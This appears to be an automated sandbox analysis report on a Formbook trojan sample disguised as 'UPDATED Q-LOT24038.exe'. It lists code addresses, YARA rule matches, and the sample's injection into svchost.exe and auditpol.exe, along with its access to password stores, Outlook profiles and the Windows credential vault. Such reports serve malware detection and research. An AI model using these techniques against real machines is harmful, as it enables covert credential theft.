Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	Code function: 4_2_02E821A4	4_2_02E821A4
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	Code function: 4_2_02EAC7CF	4_2_02EAC7CF
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B0E3F0	5_2_03B0E3F0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BC03E6	5_2_03BC03E6
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BBA352	5_2_03BBA352
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B802C0	5_2_03B802C0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BA0274	5_2_03BA0274
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BC01AA	5_2_03BC01AA
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BB81CC	5_2_03BB81CC
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B9A118	5_2_03B9A118
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03AF0100	5_2_03AF0100
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B88158	5_2_03B88158
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B92000	5_2_03B92000
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03AFC7C0	5_2_03AFC7C0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B00770	5_2_03B00770
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B24750	5_2_03B24750
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B1C6E0	5_2_03B1C6E0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BC0591	5_2_03BC0591
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B00535	5_2_03B00535
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BAE4F6	5_2_03BAE4F6
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BA4420	5_2_03BA4420
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BB2446	5_2_03BB2446
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BB6BD7	5_2_03BB6BD7
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BBAB40	5_2_03BBAB40
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03AFEA80	5_2_03AFEA80
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B029A0	5_2_03B029A0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BCA9A6	5_2_03BCA9A6
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B16962	5_2_03B16962
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03AE68B8	5_2_03AE68B8
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B2E8F0	5_2_03B2E8F0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B0A840	5_2_03B0A840
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B02840	5_2_03B02840
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B7EFA0	5_2_03B7EFA0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B0CFE0	5_2_03B0CFE0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03AF2FC8	5_2_03AF2FC8
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B20F30	5_2_03B20F30
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BA2F30	5_2_03BA2F30
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B42F28	5_2_03B42F28
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B74F40	5_2_03B74F40
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B12E90	5_2_03B12E90
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BBCE93	5_2_03BBCE93
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BBEEDB	5_2_03BBEEDB
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BBEE26	5_2_03BBEE26
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B00E59	5_2_03B00E59
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B18DBF	5_2_03B18DBF
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03AFADE0	5_2_03AFADE0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B9CD1F	5_2_03B9CD1F
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B0AD00	5_2_03B0AD00
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BA0CB5	5_2_03BA0CB5
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03AF0CF2	5_2_03AF0CF2
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B00C00	5_2_03B00C00
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B4739A	5_2_03B4739A
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BB132D	5_2_03BB132D
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03AED34C	5_2_03AED34C
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B052A0	5_2_03B052A0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BA12ED	5_2_03BA12ED
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B1B2C0	5_2_03B1B2C0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B0B1B0	5_2_03B0B1B0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BCB16B	5_2_03BCB16B
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03AEF172	5_2_03AEF172
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B3516C	5_2_03B3516C
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BB70E9	5_2_03BB70E9
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BBF0E0	5_2_03BBF0E0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B070C0	5_2_03B070C0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BAF0CC	5_2_03BAF0CC
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BBF7B0	5_2_03BBF7B0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BB16CC	5_2_03BB16CC
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B9D5B0	5_2_03B9D5B0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BB7571	5_2_03BB7571
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BBF43F	5_2_03BBF43F
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03AF1460	5_2_03AF1460
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B1FB80	5_2_03B1FB80
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B75BF0	5_2_03B75BF0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B3DBF9	5_2_03B3DBF9
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BBFB76	5_2_03BBFB76
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B45AA0	5_2_03B45AA0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B9DAAC	5_2_03B9DAAC
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BA1AA3	5_2_03BA1AA3
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BADAC6	5_2_03BADAC6
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B73A6C	5_2_03B73A6C
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BBFA49	5_2_03BBFA49
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BB7A46	5_2_03BB7A46
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B09950	5_2_03B09950
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B1B950	5_2_03B1B950
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B038E0	5_2_03B038E0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B6D800	5_2_03B6D800
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BBFFB1	5_2_03BBFFB1
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B01F92	5_2_03B01F92
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BBFF09	5_2_03BBFF09
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B09EB0	5_2_03B09EB0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B1FDC0	5_2_03B1FDC0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BB7D73	5_2_03BB7D73
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BB1D5A	5_2_03BB1D5A
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B03D40	5_2_03B03D40
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03BBFCF2	5_2_03BBFCF2
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B79C32	5_2_03B79C32
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03121950	5_2_03121950
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_0311CA60	5_2_0311CA60
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_0311AADA	5_2_0311AADA
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_0311AAE0	5_2_0311AAE0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_0311C840	5_2_0311C840
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03123230	5_2_03123230
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_0312322B	5_2_0312322B
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03111125	5_2_03111125
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03125060	5_2_03125060
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_0313B750	5_2_0313B750
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_038BE354	5_2_038BE354
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_038BE238	5_2_038BE238
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_038BD725	5_2_038BD725
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_038BD758	5_2_038BD758
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_038BE6F8	5_2_038BE6F8
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_038C543F	5_2_038C543F
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_038BCA03	5_2_038BCA03

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: String function: 00445975 appears 65 times
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: String function: 0041171A appears 37 times
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: String function: 0041718C appears 45 times
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: String function: 0040E6D0 appears 35 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 034BF290 appears 105 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 034AEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0342B970 appears 275 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03475130 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03487E54 appears 102 times
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: String function: 03B6EA12 appears 86 times
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: String function: 03B47E54 appears 102 times
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: String function: 03AEB970 appears 279 times
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: String function: 03B7F290 appears 105 times
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: String function: 03B35130 appears 50 times

Source: UPDATED Q-LOT24038.exe, 00000000.00000003.1580965371.00000000047CD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs UPDATED Q-LOT24038.exe
Source: UPDATED Q-LOT24038.exe, 00000000.00000003.1581919534.0000000004433000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs UPDATED Q-LOT24038.exe

Source: UPDATED Q-LOT24038.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.2818192259.0000000005880000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.1921916620.0000000005C60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.2807478612.0000000003110000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.1920759249.00000000041A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.2811678069.0000000003760000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.1919938894.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.2813920802.0000000002E70000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.2811743705.00000000037B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@6/5

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Code function: 0_2_0044AF5C GetLastError,FormatMessageW,

0_2_0044AF5C

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_00464422 OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle,		0_2_00464422
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,		0_2_004364AA

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Code function: 0_2_0045D517 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,

0_2_0045D517

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Code function: 0_2_0043701F CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,__wcsicoll,CloseHandle,

0_2_0043701F

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Code function: 0_2_0047A999 OleInitialize,CLSIDFromProgID,CoCreateInstance,CoInitializeSecurity,_memset,_wcslen,_memset,CoCreateInstanceEx,CoSetProxyBlanket,

0_2_0047A999

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Code function: 0_2_0043614F __swprintf,__swprintf,__wcsicoll,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

0_2_0043614F

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

File created: C:\Users\user\AppData\Local\Temp\unbarricadoed

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Command line argument: ou

0_2_0040D7F0

Source: UPDATED Q-LOT24038.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: auditpol.exe, 00000005.00000002.2807847157.00000000034C7000.00000004.00000020.00020000.00000000.sdmp, auditpol.exe, 00000005.00000003.2114167847.00000000034A3000.00000004.00000020.00020000.00000000.sdmp, auditpol.exe, 00000005.00000002.2807847157.0000000003498000.00000004.00000020.00020000.00000000.sdmp, auditpol.exe, 00000005.00000003.2111529063.0000000003477000.00000004.00000020.00020000.00000000.sdmp, auditpol.exe, 00000005.00000003.2111675011.0000000003498000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: UPDATED Q-LOT24038.exe

ReversingLabs: Detection: 31%

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

File read: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Source: unknown	Process created: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe "C:\Users\user\Desktop\UPDATED Q-LOT24038.exe"
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\UPDATED Q-LOT24038.exe"
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	Process created: C:\Windows\SysWOW64\auditpol.exe "C:\Windows\SysWOW64\auditpol.exe"
Source: C:\Windows\SysWOW64\auditpol.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\UPDATED Q-LOT24038.exe"	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	Process created: C:\Windows\SysWOW64\auditpol.exe "C:\Windows\SysWOW64\auditpol.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Section loaded: auditpolcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\auditpol.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Source: C:\Windows\SysWOW64\auditpol.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Contains functionality to detect sleep reduction / modifications

Source: UPDATED Q-LOT24038.exe

Static file information: File size 1343701 > 1048576

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: LPXBsvFDomujkZ.exe, 00000004.00000000.1841220231.0000000000BBE000.00000002.00000001.01000000.00000005.sdmp, LPXBsvFDomujkZ.exe, 00000008.00000002.2807452434.0000000000BBE000.00000002.00000001.01000000.00000005.sdmp
